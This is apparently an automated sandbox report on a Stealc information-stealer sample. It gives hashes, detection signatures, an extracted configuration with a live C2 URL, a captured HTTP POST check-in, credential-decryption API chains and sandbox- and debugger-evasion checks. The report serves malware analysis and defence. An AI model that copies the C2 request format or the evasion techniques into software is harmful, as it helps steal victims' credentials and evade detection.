Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1533401
MD5:	bf6de6e8d3ac5123b66ba93633affe66
SHA1:	f5f047a51c8ffe5700542d6ea9517214d4f31725
SHA256:	eb01ca908e0cad8310d771a3722cad18d9694c718c37ac5f363e476e1c1212de
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7500 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BF6DE6E8D3AC5123B66BA93633AFFE66)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1325704313.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7500	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7500	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.670000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-14T17:18:15.099274+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49708	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/ws	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.670000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0067C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00677240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00677240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00679AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00679AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00679B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00679B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00688EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00688EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00684910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00684910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0067DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0067E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00684570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00684570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0067ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0067BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0067DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00683EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00683EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0067F6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49708 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 35 31 45 33 42 31 30 36 34 41 35 36 33 34 38 34 31 34 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="hwid"8D51E3B1064A563484146------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build"doma------JJJDGIECFCAKKFHIIIJE--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00674880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00674880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 35 31 45 33 42 31 30 36 34 41 35 36 33 34 38 34 31 34 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="hwid"8D51E3B1064A563484146------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build"doma------JJJDGIECFCAKKFHIIIJE--

Source: file.exe, 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php(#
Source: file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpG
Source: file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpS
Source: file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo
Source: file.exe, 00000000.00000002.1367632682.00000000012FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1367632682.000000000129E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37w

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8	0_2_00A3E8C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A42033	0_2_00A42033
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A47001	0_2_00A47001
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094705F	0_2_0094705F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3311C	0_2_00A3311C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A4AB89	0_2_00A4AB89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A40391	0_2_00A40391
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A34BF5	0_2_00A34BF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009EB3E4	0_2_009EB3E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009FBB1A	0_2_009FBB1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A39B28	0_2_00A39B28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A48B63	0_2_00A48B63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097D410	0_2_0097D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A455BF	0_2_00A455BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00933D8F	0_2_00933D8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CF5FE	0_2_009CF5FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A366EA	0_2_00A366EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3CE69	0_2_00A3CE69

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 006745C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jmwhdghu ZLIB complexity 0.9950985609673024

Source: file.exe, 00000000.00000002.1366369367.0000000000671000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1325704313.0000000004F30000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00689600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00689600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00683720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00683720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\HJC3KWHD.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1847296 > 1048576

Source: file.exe

Static PE information: Raw size of jmwhdghu is bigger than: 0x100000 < 0x19ce00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.670000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jmwhdghu:EW;xkdnzbup:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jmwhdghu:EW;xkdnzbup:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00689860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00689860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c72d0 should be: 0x1cb63c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jmwhdghu
Source: file.exe	Static PE information: section name: xkdnzbup
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B560B4 push eax; mov dword ptr [esp], ebx	0_2_00B560E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B560B4 push 3A63A3CAh; mov dword ptr [esp], edi	0_2_00B56104
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B0E0A7 push eax; mov dword ptr [esp], edi	0_2_00B0E0D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC40B0 push 3149E5B7h; mov dword ptr [esp], edi	0_2_00AC40E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF208D push 3DD9B368h; mov dword ptr [esp], ebp	0_2_00AF20C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF208D push 548164BCh; mov dword ptr [esp], esp	0_2_00AF20D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB3886 push esi; mov dword ptr [esp], ebp	0_2_00AB38B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AB3886 push 072C594Fh; mov dword ptr [esp], ebp	0_2_00AB3947
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE7083 push ebp; mov dword ptr [esp], edi	0_2_00AE70AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE7083 push 295CA6DAh; mov dword ptr [esp], ecx	0_2_00AE7124
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE7083 push 2905F284h; mov dword ptr [esp], eax	0_2_00AE714A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B5508D push ecx; mov dword ptr [esp], 341B7306h	0_2_00B55101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF6092 push ebp; mov dword ptr [esp], eax	0_2_00AF60B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF6092 push esi; mov dword ptr [esp], 0DC895E2h	0_2_00AF6147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2388C push 0EBC7D1Ch; mov dword ptr [esp], esi	0_2_00B23923
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2388C push 7FD5EC80h; mov dword ptr [esp], ebp	0_2_00B23955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B2388C push eax; mov dword ptr [esp], edi	0_2_00B23980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0068B035 push ecx; ret	0_2_0068B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push ebp; mov dword ptr [esp], 7FEDCD03h	0_2_00A3E90D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push eax; mov dword ptr [esp], edx	0_2_00A3E96A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push ebp; mov dword ptr [esp], 3E77AF57h	0_2_00A3E96F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push 5A556219h; mov dword ptr [esp], eax	0_2_00A3E9E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push esi; mov dword ptr [esp], ebx	0_2_00A3E9FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push 187109C1h; mov dword ptr [esp], eax	0_2_00A3EA09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push 7B374E98h; mov dword ptr [esp], esi	0_2_00A3EA26
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push edx; mov dword ptr [esp], ebx	0_2_00A3EA7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push edx; mov dword ptr [esp], 1131DA9Eh	0_2_00A3EB1F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push 6CD54B8Ch; mov dword ptr [esp], eax	0_2_00A3EB45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push 3C6801DFh; mov dword ptr [esp], ebp	0_2_00A3EBB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push edx; mov dword ptr [esp], eax	0_2_00A3EC56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3E8C8 push eax; mov dword ptr [esp], esp	0_2_00A3EC67

Source: file.exe

Static PE information: section name: jmwhdghu entropy: 7.9544342173463365

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00689860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13585

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2291 second address: 8D2296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D2296 second address: 8D229C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D229C second address: 8D22A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D22A0 second address: 8D22A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F468 second address: A4F474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0B44BD79ACh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46B39 second address: A46B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0B44EA8C82h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46B4F second address: A46B53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46B53 second address: A46B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46B60 second address: A46B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
